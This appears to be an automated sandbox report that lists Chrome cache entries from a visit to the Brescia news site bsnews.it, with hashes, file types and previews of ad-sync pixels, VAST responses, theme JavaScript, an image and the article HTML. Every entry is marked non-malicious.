SSDEEP:	3:yionv//thPlE+tJ8/V+/B6dS8p:6v/lhPfA/UJ63p
MD5:	EDB2AA47631C67A43709D4CCD2501E33
SHA1:	87475B448C53CF32FFE78AB121DB8BAB41D478E0
SHA-256:	6019C3C9E47DC991F8D9937DEAFBB0740C2E61E321324798CB508773B0814824
SHA-512:	65820EEAF261F01988570AFE7866D9B83901950DFBD89542009A1FAAAE520E1AF2FA08789B7E94A64B0E1A3BDC39256354EFE1D38856621851DD65E80505DBB2
Malicious:	false
Reputation:	low
URL:	https://match.sharethrough.com/sync/v1?source_id=5b286190338513af73f09c28&source_user_id=a109dc60-dc7c-45e5-ab53-e2448a53420f&gdpr=0&gdpr_consent=
Preview:	.PNG........IHDR.....................IDATx.c........o.......IEND.B`.

Chrome Cache Entry: 900

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4520), with no line terminators
Category:	downloaded
Size (bytes):	4520
Entropy (8bit):	5.139164587027062
Encrypted:	false
SSDEEP:	96:DMXWsKBP7mYe3Lus7XlHILCqkVseHaLCq0C:DtPaYePXSL+QLV
MD5:	58AA8B0F55354EC8B56CAF5DACE62AE5
SHA1:	24A1920F504134C883B4F19F1CFE7384B2DF71C2
SHA-256:	566DA27BF7AD324520DA0EAD2664CCD57F87AF7550EF1556E45A87E331F6E7FF
SHA-512:	259507A78A1C2F4B9098D0705EE88F1FD0351E3043EA95CF6D87403F0CA695CEC3180A203755286A0DFA597177A66D93031EE69516E9303E20D4598C15DBDF6C
Malicious:	false
Reputation:	low
URL:	https://bsnews.it/wp-content/plugins/td-composer/legacy/Newspaper/js/tdMenu.js?ver=12.6.5
Preview:	var tdMenu={};(function(){tdMenu={_itemsWithSubmenu:null,_mainMenu:null,_outsideClickArea:null,_outsideClickExcludedAreas:"#td-header-menu .sf-menu, #td-header-menu .sf-menu , .menu-top-container, .menu-top-container ",_openMenuClass:"sfHover",_openMenuBodyClass:"td-open-menu",init:function(){var c=jQuery("#td-header-menu .sf-menu"),e=jQuery("#td-header-menu .sf-menu, .top-header-menu"),b=e.find(".menu-item-has-children > a, .td-mega-menu > a");b.append('<i class="td-icon-menu-down"></i>');c.supersubs({minWidth:10,maxWidth:20,extraWidth:1});b.addClass("sf-with-ul");e.addClass("sf-js-enabled");b.parent().find("ul").first().css("display","none");tdMenu._mainMenu=c;tdMenu._itemsWithSubmenu=b;tdMenu._outsideClickArea=jQuery(window).not(tdMenu._outsideClickExcludedAreas);tdMenu._setHover(b,c)},_getSubmenuPosition:function(c){var e=jQuery(window).width();c=c.children("ul").first();if(0<c.length){var b=c.offset().left+c.width();b>e&&(c.parent().parent().hasClass("sf-menu")?c.css("left","-"+

Chrome Cache Entry: 901

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.7374910194847146
Encrypted:	false
SSDEEP:	3:CUnl/7yltxlHh/:/+/
MD5:	07FFF40B5DD495ACA2AC4E1C3FBC60AA
SHA1:	E8AC224BA9EE97E87670ED6F3A2F0128B7AF9FE4
SHA-256:	A065920DF8CC4016D67C3A464BE90099C9D28FFE7C9E6EE3A18F257EFC58CBD7
SHA-512:	49B8DAF1F5BA868BC8C6B224C787A75025CA36513EF8633D1D8F34E48EE0B578F466FCC104A7BED553404DDC5F9FAFF3FEF5F894B31CD57F32245E550FAD656A
Malicious:	false
Reputation:	low
URL:	"https://aax.amazon-adsystem.com/x/px/JGapUzYM-SRrUSVnpipTqiYAAAGOhEKa2AEAAA4rAQBhcHNfdHhuX2JpZDEgICBhcHNfdHhuX2ltcDEgICDU01mv/%7B%22adCsm%22:[%7B%22tld%22:%22bsnews.it%22%7D,%7B%22ns%22:1711615941997,%22st%22:%2271.80%22,%22re%22:%222743.30%22,%22ldTot%22:%222671.50%22%7D,%7B%22lteu%22:%220.10%22,%22ltut%22:%220.00%22,%22ltpq%22:%220.00%22,%22lths%22:%220.00%22,%22ltpm%22:%220.10%22,%22ltdm%22:%220.20%22,%22ltdb%22:%220.00%22,%22csmTot%22:%223.00%22%7D],%22pixelId%22:%22oi6e3qdkrg%22,%22ts%22:1711615947372,%22ver%22:%22d-1.21%22%7D?cb=8834290"
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 902

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.5257351171929923
Encrypted:	false
SSDEEP:	3:CUEIHh/:i4/
MD5:	13E1C7A2184E36D7AE519E99B1AA226F
SHA1:	355CCAD4EAC39838E1CC76FD0B670FD2EA1E5AA3
SHA-256:	48A33CA9F42B91902D57AD8AC52E1CE32B92C8C10C732F2DBB6FE960EBFD9438
SHA-512:	B1A6CFA7B21DBB0B281D241AF609F3BA7F3A63E5668095BBA912BF7CFD7F0320BAF7C3B0BFABD0F8609448F39902BAEB145BA7A2D8177FE22A6FCEA03DD29BE1
Malicious:	false
Reputation:	low
URL:	https://pr-bh.ybp.yahoo.com/sync/casale/ZgUvi9HM46UAADq7ABhzMwAACsEAAAIB?gdpr_consent=&us_privacy=&gdpr=&gpp=&gpp_sid=
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 903

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 1-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	95
Entropy (8bit):	4.347811435468635
Encrypted:	false
SSDEEP:	3:yionv//thPlE+kSI+Dtmy/Y+sR3Qhl/Y3WlED//jp:6v/lhPfkCDtmywFghu3WlEDTp
MD5:	71A50DBBA44C78128B221B7DF7BB51F1
SHA1:	0EC63B140374BA704A58FA0C743CB357683313DD
SHA-256:	3EB10792D1F0C7E07E7248273540F1952D9A5A2996F4B5DF70AB026CD9F05517
SHA-512:	6AD523F5B65487369D305613366B9F68DCDEEE225291766E3B25FAF45439CA069F614030C08CA54C714FDBF7A944FAC489B1515A8BF9E0D3191E1BCBBFE6A9DF
Malicious:	false
Reputation:	low
URL:	https://pixel.tapad.com/idsync/ex/receive?partner_id=3203&partner_device_id=01F5328A-C4D9-44AD-8468-60A885247C68&gdpr=0&gdpr_consent=
Preview:	.PNG........IHDR.............%.V.....PLTE....z=.....tRNS.@..f....IDAT..c`.......!.3....IEND.B`.

Chrome Cache Entry: 904

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (670)
Category:	downloaded
Size (bytes):	159996
Entropy (8bit):	5.422147294439796
Encrypted:	false
SSDEEP:	1536:u4kwCRgqCVxRJ/LPj5O9wFrfLtySviy5cSg2QdtjiYSmPfwNGUutlDSGFnPHEGgm:u4kwC3mLtO2NhySviy6XgLu
MD5:	013387E5CD68557D64E3AA387FD7A946
SHA1:	5A0C0A072CCE599191C5B02CA0255E6AC6712C1D
SHA-256:	F69D957B164A3F0605852ACB5B57EBEA5A07F02D0C9A142CA08BC54D3F0C6DD7
SHA-512:	9B95B504681BF1AAD9A5082474043B6FFDC511B2647B99A3987F0854A1F46802303C0DCB293B1BA1D358640BCF5E079E3589056836CCD3CD0AE275680249283E
Malicious:	false
Reputation:	low
URL:	https://bsnews.it/wp-content/plugins/td-composer/legacy/Newspaper/js/tagdiv_theme.min.js?ver=12.6.5
Preview:	/. Magnific Popup - v0.9.9 - 2013-12-27. http://dimsemenov.com/plugins/magnific-popup/. Copyright (c) 2013 Dmitry Semenov; /.jQuery.easing.jswing=jQuery.easing.swing;.jQuery.extend(jQuery.easing,{def:"easeOutQuad",swing:function(a,b,c,d,h){return jQuery.easing[jQuery.easing.def](a,b,c,d,h)},easeInQuad:function(a,b,c,d,h){return d(b/=h)b+c},easeOutQuad:function(a,b,c,d,h){return-d(b/=h)(b-2)+c},easeInOutQuad:function(a,b,c,d,h){return 1>(b/=h/2)?d/2bb+c:-d/2(--b(b-2)-1)+c},easeInCubic:function(a,b,c,d,h){return d(b/=h)bb+c},easeOutCubic:function(a,b,c,d,h){return d((b=b/h-1)bb+1)+c},easeInOutCubic:function(a,b,c,d,h){return 1>(b/=h/2)?d/2bbb+c:.d/2((b-=2)bb+2)+c},easeInQuart:function(a,b,c,d,h){return d(b/=h)bbb+c},easeOutQuart:function(a,b,c,d,h){return-d((b=b/h-1)bbb-1)+c},easeInOutQuart:function(a,b,c,d,h){return 1>(b/=h/2)?d/2bbbb+c:-d/2((b-=2)bbb-2)+c},easeInQuint:function(a,b,c,d,h){return d(b/=h)bbb*b+c},easeOutQuint:function(a,b,c,d,h){r

Chrome Cache Entry: 905

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 906

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 324x160, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	downloaded
Size (bytes):	6774
Entropy (8bit):	7.971800104989759
Encrypted:	false
SSDEEP:	96:h+8mCQhcNpw/qPCEmnAvYpdYo6hS7DTPJVQP7kWgKiE+U/8PRmh5RBloyf0:hmCQY9PpwAv8f6hS7JR+1v6mdbM
MD5:	9758D9CD6DFAABA45589C58BAAD436E3
SHA1:	F01C729E444AFEB93E5CAC4581B0093D98368930
SHA-256:	51CB73DBB70FFD3F09E00351A120BA6A8D9C8E73F175E7B1F5C9C5A4F2A13174
SHA-512:	5E12E27A196B889714235345672954266DEB7DF9FE54F00175A41660B9D8837C8580737FC25447014C202C1E2CFB8290BC5B7ACFF15A3CE961E60B3BE25E4377
Malicious:	false
Reputation:	low
URL:	https://i0.wp.com/bsnews.it/wp-content/uploads/2024/03/20240326_2120.jpg?resize=324%2C160&ssl=1
Preview:	RIFFn...WEBPVP8 b....s...D...>m0.G$".!.R.....c..............{_N[....3:....<.k.?^..!.}..W.^...._.....V.ott..].O.?X..\|..m...........)..;H/5.D.i6.;UTS)H.v.q.3..v.......O..2S..K.........Cf..J.K.X...J...$....sLX...>a..P..E)....V....X...R.....#R..>..!.s1O....n.........%.g.F}...:t..f&PE.....n8D....a.....y..tX....z.b.Ak8z.=I..g.X...x_..Pa."..(..9@@{..=.@....^.z.A#.2...8..=.._5{ 3#.....udP.....L/~,.)g.u.8...Y...e.J,...jPK.h.......C,T5..D'..f'.8..q ..T._.R.JX..9H....3.-]N...w...L..ML.,..Vx:.u.i..!..F..SH...S.(....w.?.L.5.....k.)...B.C.]....u1...,<s.....4:.R.j...)..$.5...(..g.h.@.u......r2s....`T....j..r.'..'B:..>?...T.....`...%.\|NL,.^%.3.".....~....f......Oa.b..i.......zx.O\f....;.6J..j......9...d6#.i..T..\|.D.6 ....U.Z..0..../,.S.#.)..&....<.N.2....?2........;.6..^.i.X5U..#.^....!#.....iKn.\.h.j*.U.....I..,a....#.V.......x:....{...u.4m,\|.;9...0R...L..^..J(.1....(.........C...L=.^c.^...W8hPf....p...'s.mB.n........v.nO..b...C2_.).H..X......U.....:C`s..#.

Chrome Cache Entry: 907

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
URL:	https://sync.e-planning.net/um?uid=e222cac2-a257-448a-96d5-9494eb4fc58c&dc=769fefa8321c94fb&iss=1
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 908

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (1005)
Category:	downloaded
Size (bytes):	1044
Entropy (8bit):	5.426593555078659
Encrypted:	false
SSDEEP:	24:2dXt9WYzO5hThFbzXh6vEFM+sBntvwCCZV9UkYTuRXKr5c:c2Yz8TrYviMnhYJYTuRXEc
MD5:	E7139DEACBF17B2D7ACA0D306B2F9CD0
SHA1:	8F2637D1592D960B58842A313CEAC2862489C93B
SHA-256:	33E559E64C7EECCE97BF11A6B3AA5A9634F7F30B7A90898AAF22B3C64B65A5A7
SHA-512:	E4C96A648604C23F789BF09684222E93936FF7339A150FB346D51295B7AFBB2C78D6318C7B1341CDF3F2EF6F9F54D21E456627A879C35951181A5C404CCA63A4
Malicious:	false
Reputation:	low
URL:	https://partners.tremorhub.com/syncnoad?rid=30f2e100c3804685b89bc432e7fc41cf&p=portodsp%2Cconversant%2CTubeMogul-GP%2C1%2Cdataxu%2Ctremornet%2CVideology%2Cthetradedesk%2Cappnexus%2Ccentro%2CBidswitch%2Cstackadapt%2Cscaleout%2Cdynadmic%2Cmediamath%2CBidTheatre%2Cbeeswax%2CTapAd%2Cadgear%2CPulsepoint%2Cbrightroll%2Cbeachfront%2Cindexexchange%2CRadiumOne%2Cbucksense%2Cadform%2Cblis%2Cmadhive%2Cemx%2Cexponential%2Cadelphic%2Cadtheorent%2Csimpli.fi%2Cquantcast%2C4Info%2Cdeepintent%2Cadvangelists%2Cmartinai%2Cacuityads%2C_google_dfp%2C_dmp_turbine%2C_dmp_krux%2C_dmp_adobe%2C_dmp_lotame&uid=5c99a009bd184d5ca3b7885003b720e3&vv=3.0&gdpr=0&gdpr_consent=1
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<VAST version="3.0" xmlns:t="http://tremorhub.com/ssp" t:status="NO_AD"><Ad ><Wrapper><AdSystem>Tremor SSP</AdSystem><VASTAdTagURI><![CDATA[https://partners.tremorhub.com/syncnoad?rid=30f2e100c3804685b89bc432e7fc41cf&p=conversant%2CTubeMogul-GP%2C1%2Cdataxu%2Ctremornet%2CVideology%2Cthetradedesk%2Cappnexus%2Ccentro%2CBidswitch%2Cstackadapt%2Cscaleout%2Cdynadmic%2Cmediamath%2CBidTheatre%2Cbeeswax%2CTapAd%2Cadgear%2CPulsepoint%2Cbrightroll%2Cbeachfront%2Cindexexchange%2CRadiumOne%2Cbucksense%2Cadform%2Cblis%2Cmadhive%2Cemx%2Cexponential%2Cadelphic%2Cadtheorent%2Csimpli.fi%2Cquantcast%2C4Info%2Cdeepintent%2Cadvangelists%2Cmartinai%2Cacuityads%2C_google_dfp%2C_dmp_turbine%2C_dmp_krux%2C_dmp_adobe%2C_dmp_lotame&uid=5c99a009bd184d5ca3b7885003b720e3&vv=3.0&gdpr=0&gdpr_consent=1 </VASTAdTagURI><Error><![CDATA[https://ksk.t.zucks.net/mc/cs?rid=30f2e100c3804685b89bc432e7fc41cf </Error><Impression/><Creatives><Creative><Linear><TrackingEvents/></Linear><

Chrome Cache Entry: 909

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (1086)
Category:	downloaded
Size (bytes):	1125
Entropy (8bit):	5.391398413309337
Encrypted:	false
SSDEEP:	24:2dXt9WYzO5hT52FbzXh6vEFM+sBntvwCCZV9UkCG3TuRXKr5c:c2Yz8TqYviMnhYJCG3TuRXEc
MD5:	1912228CF2FBE851793ABBA099C644CB
SHA1:	7899F5FECA5205607126F2C0C5F6B31A1DFF8080
SHA-256:	9A298991CF9F4B0D0900915C9F29C7B96879DF1D103E0251484EC8E541E06394
SHA-512:	E4809FF139C5864F656D77CED5D1A72C03E39F8FF30D294953D0C1974D338F99AEDE74BFDC30968A3C3789D5A982DD9B37DED075488D4AB0D602F8A8016A73F5
Malicious:	false
Reputation:	low
URL:	https://partners.tremorhub.com/syncnoad?rid=30f2e100c3804685b89bc432e7fc41cf&p=activeagent%2Clogicad%2Cgoogle%2Cdemandbase%2Cportodsp%2Cconversant%2CTubeMogul-GP%2C1%2Cdataxu%2Ctremornet%2CVideology%2Cthetradedesk%2Cappnexus%2Ccentro%2CBidswitch%2Cstackadapt%2Cscaleout%2Cdynadmic%2Cmediamath%2CBidTheatre%2Cbeeswax%2CTapAd%2Cadgear%2CPulsepoint%2Cbrightroll%2Cbeachfront%2Cindexexchange%2CRadiumOne%2Cbucksense%2Cadform%2Cblis%2Cmadhive%2Cemx%2Cexponential%2Cadelphic%2Cadtheorent%2Csimpli.fi%2Cquantcast%2C4Info%2Cdeepintent%2Cadvangelists%2Cmartinai%2Cacuityads%2C_google_dfp%2C_dmp_turbine%2C_dmp_krux%2C_dmp_adobe%2C_dmp_lotame&uid=5c99a009bd184d5ca3b7885003b720e3&vv=3.0&gdpr=0&gdpr_consent=1
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<VAST version="3.0" xmlns:t="http://tremorhub.com/ssp" t:status="NO_AD"><Ad ><Wrapper><AdSystem>Tremor SSP</AdSystem><VASTAdTagURI><![CDATA[https://partners.tremorhub.com/syncnoad?rid=30f2e100c3804685b89bc432e7fc41cf&p=logicad%2Cgoogle%2Cdemandbase%2Cportodsp%2Cconversant%2CTubeMogul-GP%2C1%2Cdataxu%2Ctremornet%2CVideology%2Cthetradedesk%2Cappnexus%2Ccentro%2CBidswitch%2Cstackadapt%2Cscaleout%2Cdynadmic%2Cmediamath%2CBidTheatre%2Cbeeswax%2CTapAd%2Cadgear%2CPulsepoint%2Cbrightroll%2Cbeachfront%2Cindexexchange%2CRadiumOne%2Cbucksense%2Cadform%2Cblis%2Cmadhive%2Cemx%2Cexponential%2Cadelphic%2Cadtheorent%2Csimpli.fi%2Cquantcast%2C4Info%2Cdeepintent%2Cadvangelists%2Cmartinai%2Cacuityads%2C_google_dfp%2C_dmp_turbine%2C_dmp_krux%2C_dmp_adobe%2C_dmp_lotame&uid=5c99a009bd184d5ca3b7885003b720e3&vv=3.0&gdpr=0&gdpr_consent=1 </VASTAdTagURI><Error><![CDATA[https://dsp.adfarm1.adition.com/cookie/?ssp=14&gdpr=0&gdpr_consent=&rid=30f2e100c3804685b89bc432e7fc41c

Chrome Cache Entry: 910

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
URL:	https://us-u.openx.net/w/1.0/sd?id=537072399&val=3287041831475129344
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 911

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (2668)
Category:	downloaded
Size (bytes):	4806
Entropy (8bit):	5.544381838482336
Encrypted:	false
SSDEEP:	96:BfZhLAfDLwfHgLRfN7tf4fYfrfd22fQLE2B+f6LayOZSf43lCUybFuuI9j3obFu9:dL8LrLPibLE2B3Layc3ybFuN9LobFuBH
MD5:	4E184871B4A75D7DD2F1ADE9347A7E65
SHA1:	E996275F881E041DD5FCF46EA52A3BE53F6DBE27
SHA-256:	B8B06EEADFD6E243970A238E279B65BB204E123D04E3FAA4E2051AFAAF50A435
SHA-512:	BEFD08C9DF227EFC1F2812002196389F50C8F943B53DD70DC3CD58753E64E76ACD75BA650CD14659E4D72D7FAF624450203B936A322D5E21AF442CFF50F47C93
Malicious:	false
Reputation:	low
URL:	https://onetag-sys.com/usync/?pubId=7a07370227fc000&gdpr=0&gdpr_consent=
Preview:	<!DOCTYPE html>.<html lang="en">.<head>. <meta charset="UTF-8">. <title>Sync Pixels</title>.</head>.<body>..<script>.. var syncPixels = "https://rtb.mfadsrvr.com/sync?ssp=onetag&ssp_user_id=27NUsK0FTKCxM_hJEiZb3SbrknWDzGHvtZezmtlGbyI&gdpr=${GDPR}&gdpr_consent=${GDPR_STRING} https://sync.mathtag.com/sync/img?mt_exid=75&redir=https%3A%2F%2Fonetag-sys.com%2Fmatch%2F%3Fint_id%3D1%26uid%3D%5BMM_UUID%5D%26gdpr%3D${GDPR}%26gdpr_consent%3D${GDPR_STRING} https://pixel-eu.rubiconproject.com/exchange/sync.php?p=onetag&gdpr=${GDPR}&gdpr_consent=${GDPR_STRING} https://ib.adnxs.com/getuid?https%3A%2F%2Fonetag-sys.com%2Fmatch%2F%3Fint_id%3D98%26gdpr%3D${GDPR}%26gdpr_consent%3D${GDPR_STRING}%26uid%3D$UID https://ads.stickyadstv.com/user-matching?id=3679&gdpr=${GDPR}&gdpr_consent=${GDPR_STRING} https://pixel.rubiconproject.com/tap.php?v=223352&nid=4584&put=27NUsK0FTKCxM_hJEiZb3SbrknWDzGHvtZezmtlGbyI https://cs.admanmedia.com/73c1e1bfc3bde354d60b80e601ae3914.gif?puid=[UID]&redir=https%3A%2F%2Fo

Chrome Cache Entry: 912

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:v:v
MD5:	68B329DA9893E34099C7D8AD5CB9C940
SHA1:	ADC83B19E793491B1C6EA0FD8B46CD9F32E592FC
SHA-256:	01BA4719C80B6FE911B091A7C05124B64EEECE964E09C058EF8F9805DACA546B
SHA-512:	BE688838CA8686E5C90689BF2AB585CEF1137C999B48C70B92F67A5C34DC15697B5D11C982ED6D71BE1E1E7F7B4E0733884AA97C3F7A339A8ED03577CF74BE09
Malicious:	false
Reputation:	low
Preview:	.

Chrome Cache Entry: 913

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (904)
Category:	downloaded
Size (bytes):	943
Entropy (8bit):	5.451520006895912
Encrypted:	false
SSDEEP:	24:2dXt9WYzO5hTAEFM+sBntvwCCZV9UkJ+tTuRXKr5c:c2Yz8TAiMnhYJmTuRXEc
MD5:	1DD5E163247DF448151021AE8C3469B8
SHA1:	C5C35B1EF55A769A07696D2912EFC517F6317A50
SHA-256:	DBE7C2FCCD9AB8480A15877D6D7DD16250FE6D9C76404F64B1AE66D720D72D3E
SHA-512:	A9A62A49B977A61A7F314F8B0FFF1F577D6DB85E6AE861C04EC2F743F9CFB933F53F9E576F30BA7E48382B39E8243710770876C337FB8B72A27A36D29E12D0E9
Malicious:	false
Reputation:	low
URL:	https://partners.tremorhub.com/syncnoad?rid=30f2e100c3804685b89bc432e7fc41cf&p=dynadmic%2Cmediamath%2CBidTheatre%2Cbeeswax%2CTapAd%2Cadgear%2CPulsepoint%2Cbrightroll%2Cbeachfront%2Cindexexchange%2CRadiumOne%2Cbucksense%2Cadform%2Cblis%2Cmadhive%2Cemx%2Cexponential%2Cadelphic%2Cadtheorent%2Csimpli.fi%2Cquantcast%2C4Info%2Cdeepintent%2Cadvangelists%2Cmartinai%2Cacuityads%2C_google_dfp%2C_dmp_turbine%2C_dmp_krux%2C_dmp_adobe%2C_dmp_lotame&uid=5c99a009bd184d5ca3b7885003b720e3&vv=3.0&gdpr=0&gdpr_consent=1
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<VAST version="3.0" xmlns:t="http://tremorhub.com/ssp" t:status="NO_AD"><Ad ><Wrapper><AdSystem>Tremor SSP</AdSystem><VASTAdTagURI><![CDATA[https://partners.tremorhub.com/syncnoad?rid=30f2e100c3804685b89bc432e7fc41cf&p=mediamath%2CBidTheatre%2Cbeeswax%2CTapAd%2Cadgear%2CPulsepoint%2Cbrightroll%2Cbeachfront%2Cindexexchange%2CRadiumOne%2Cbucksense%2Cadform%2Cblis%2Cmadhive%2Cemx%2Cexponential%2Cadelphic%2Cadtheorent%2Csimpli.fi%2Cquantcast%2C4Info%2Cdeepintent%2Cadvangelists%2Cmartinai%2Cacuityads%2C_google_dfp%2C_dmp_turbine%2C_dmp_krux%2C_dmp_adobe%2C_dmp_lotame&uid=5c99a009bd184d5ca3b7885003b720e3&vv=3.0&gdpr=0&gdpr_consent=1 </VASTAdTagURI><Error><![CDATA[https://ssbsync.smartadserver.com/api/sync?callerId=88&gdpr=0&gdpr_consent=&rid=30f2e100c3804685b89bc432e7fc41cf </Error><Impression/><Creatives><Creative><Linear><TrackingEvents/></Linear></Creative></Creatives></Wrapper></Ad></VAST>

Chrome Cache Entry: 914

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (9539), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	470025
Entropy (8bit):	5.638538906454002
Encrypted:	false
SSDEEP:	12288:DZjoOtrZdMfR6U2zSRiyGN/lO1FpaIfkPs7b+OgfheHQPK65/t6URJqUG7G:DZjoOtrZdMfR6U2zSRiyGN/lO1FpaIfU
MD5:	1EEDEF9D1C1A1731CC468C0B175E6282
SHA1:	9957C9685FDE43989BD287EEA6A47ABA3D9A11E4
SHA-256:	DE1C54FE28DBA637148D6169CE0E19D7B7D5E7513ED43A37B577FA2E1370073F
SHA-512:	8928EABD853334B32AED8F1C0956D879063240CA8367A845A01E9BC18EBED69E29E7D80420BCD35DDF7A36AD1AA235FC762F8947D69615141EB10B3C57DFC12D
Malicious:	false
Reputation:	low
URL:	https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/
Preview:	<!doctype html >. [if IE 8]> <html class="ie8" lang="en"> <![endif]-->. [if IE 9]> <html class="ie9" lang="en"> <![endif]-->. [if gt IE 8]> > <html lang="it-IT"> <![endif]-->.<head>.<title>Le citt. pi. brutte d'Italia? Brescia al nono posto in classifica - BsNews.it - Brescia News</title>.<meta charset="UTF-8" />.<meta name="viewport" content="width=device-width, initial-scale=1.0">.<link rel="pingback" href="https://bsnews.it/xmlrpc.php" />.<meta name="robots" content="index, follow, max-image-preview:large, max-snippet:-1, max-video-preview:-1" />.<link rel="icon" type="image/png" href="https://bsnews.it/wp-content/uploads/2017/01/FAVICON.jpg">..<link rel="canonical" href="https://www.bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/" />.<meta property="og:locale" content="it_IT" />.<meta property="og:type" content="article" />.<meta property="og:title" content="Le citt. pi. brutte d'Italia? Brescia al nono pos

Chrome Cache Entry: 915

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (4439), with no line terminators
Category:	downloaded
Size (bytes):	4439
Entropy (8bit):	5.2610847658229405
Encrypted:	false
SSDEEP:	96:7nqMhha0gB+BBOoZXqDJWuWfvVSiVmzIPziHCZ5Y7DNAP:7xgBAOoZIJXZhzI7ii7
MD5:	FC82C0EE7B8F6AB7B3C52BB5A813C586
SHA1:	27A5F322F563143FA28EB1862DAD8DF64D744D9B
SHA-256:	4FC8499379B6FDF1D43319E32405C30956CB92A9B14CA70DF5CE7AB798A7769D
SHA-512:	9B6D7330B8A7769B63E7FEEF29347169D80118102A2DCC0F9498864DDDEED5725464FEBDE3B2E42AA0D53185704F0E22D3BE1F37C7E6FD92337B2ADB49A00670
Malicious:	false
Reputation:	low
URL:	https://adx.4strokemedia.com/www/delivery/asyncjs.php
Preview:	(function(d,c){var a="6609ba8ff88606794e22ff360400bcea";c.reviveAsync=c.reviveAsync\|\|{};(function(e){if(typeof e.CustomEvent==="function"){return false}function g(i,j){j=j\|\|{bubbles:false,cancelable:false,detail:undefined};var h=document.createEvent("CustomEvent");h.initCustomEvent(i,j.bubbles,j.cancelable,j.detail);return h}g.prototype=e.Event.prototype;e.CustomEvent=g})(c);try{if(!c.reviveAsync.hasOwnProperty(a)){var f=c.reviveAsync[a]={id:Object.keys(c.reviveAsync).length,name:"revive",seq:0,main:function(){var e=function(){var g=false;try{if(!g){g=true;d.removeEventListener("DOMContentLoaded",e,false);c.removeEventListener("load",e,false);f.addEventListener("start",f.start);f.addEventListener("refresh",f.refresh);f.dispatchEvent("start",{start:true})}}catch(h){console.log(h)}};f.dispatchEvent("init");if(d.readyState==="complete"){setTimeout(e)}else{d.addEventListener("DOMContentLoaded",e,false);c.addEventListener("load",e,false)}},start:function(g){if(g.detail&&g.detail.hasOwnPrope

Chrome Cache Entry: 916

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (12938)
Category:	downloaded
Size (bytes):	12941
Entropy (8bit):	5.31945657514442
Encrypted:	false
